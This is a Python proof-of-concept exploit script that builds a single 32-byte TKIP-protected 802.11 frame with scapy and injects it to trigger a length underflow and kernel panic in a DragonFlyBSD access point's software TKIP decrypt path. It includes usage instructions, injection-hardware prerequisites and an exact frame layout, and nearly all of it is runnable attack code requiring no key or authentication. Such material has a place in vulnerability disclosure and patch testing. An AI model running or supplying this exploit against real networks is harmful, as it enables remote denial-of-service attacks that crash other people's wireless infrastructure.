DF-0594 / tkip_underflow.py
#!/usr/bin/env python3 # DF-0594 PoC: TKIP RX length underflow -> OOB read + KASSERT panic. # # Injects a single 32-byte Protected+ExtIV data frame into a TKIP-protected # BSS where the receiver uses the software TKIP decrypt path. The frame is # exactly the WEP minimum (24-byte hdr + 8-byte IV/EIV), with NO payload, # NO ICV, NO MIC. The receiver's tkip_decap -> tkip_decrypt -> wep_decrypt # path underflows the length arithmetic (int - u_int -> 0xFFFFFFFC) and the # KASSERT(data_len == 0) at wep_decrypt:640 fires -> panic on INVARIANTS # kernels (the default X86_64_GENERIC). # # No key knowledge required. Single packet. Pre-auth. # # Usage: # sudo python3 tkip_underflow.py <injection_iface> <target_ap_bssid> # e.g. sudo python3 tkip_underflow.py wlan0mon 11:22:33:44:55:66 # # Prerequisites: # - scapy installed # - a WiFi NIC capable of frame injection in monitor mode (AR9271/ath9k_htc # on Linux is a common choice) # - RF proximity to a DragonFlyBSD hostap vap using TKIP with SW crypto # (USB drivers like run(4)/rum(4)/zyd(4) typically do not offload TKIP) import sys import struct try: from scapy.layers.dot11 import RadioTap, Dot11, Raw from scapy.sendrecv import sendp except ImportError: sys.stderr.write("scapy required: pip install scapy\n") sys.exit(1) if len(sys.argv) != 3: sys.stderr.write("usage: %s <injection_iface> <target_ap_bssid>\n" % sys.argv[0]) sys.exit(2) iface = sys.argv[1] ap_bssid = sys.argv[2].replace('-', ':').lower() attacker = "aa:bb:cc:dd:ee:01" # 802.11 data header, FromDS=0 ToDS=0, Protected bit (0x4000 in fc -> 0x08 in # second byte when packed little-endian as 0x0808). # fc = Type=Data(2)<<2 | Subtype=0 | Protected(0x40 in byte1 of LE fc) = 0x0808 fc = 0x0808 # 3-address data header: addr1=broadcast (group key path), addr2=attacker, # addr3=AP bssid, seq=0x0010 hdr = struct.pack('<HH6s6s6sH', fc, 0, b'\xff\xff\xff\xff\xff\xff', # addr1 = broadcast bytes(int(b, 16) for b in attacker.split(':')), bytes(int(b, 16) for b in ap_bssid.split(':')), 0x0010) # seq ctrl # TKIP IV/EIV: bytes are P1, P1|0x20, P0, KeyID|ExtIV, P2, P3, P4, P5 # where P0..P5 are the TSC octets (TSC0 is the lowest byte of the 48-bit # counter). TSC must be strictly > the receiver's wk_keyrsc[NONQOS_TID=16]; # on a fresh key that is 0, so TSC=1 works. # KeyID = 0, ExtIV bit (0x20) set, plus 0x20 for the TSC1-extension bit. tsc0, tsc1 = 0x01, 0x01 iveiv = bytes([ tsc1, (tsc1 | 0x20) & 0x7f, tsc0, 0x20 | 0x20, # KeyID=0 << 6, ExtIV bit set 0, 0, 0, 0, # TSC2..TSC5 ]) frame = hdr + iveiv # 24 + 8 = 32 bytes total; no payload, no ICV, no MIC sys.stderr.write( "DF-0594: sending 32-byte TKIP underflow frame to %s via %s\n" % (ap_bssid, iface)) sys.stderr.write( " expect panic: wep_decrypt: out of buffers with data_len 0xfffffffc\n") sendp(RadioTap()/Raw(frame), iface=iface, count=1, verbose=1) sys.stderr.write( "DF-0594: frame sent. Check target dmesg for panic.\n") |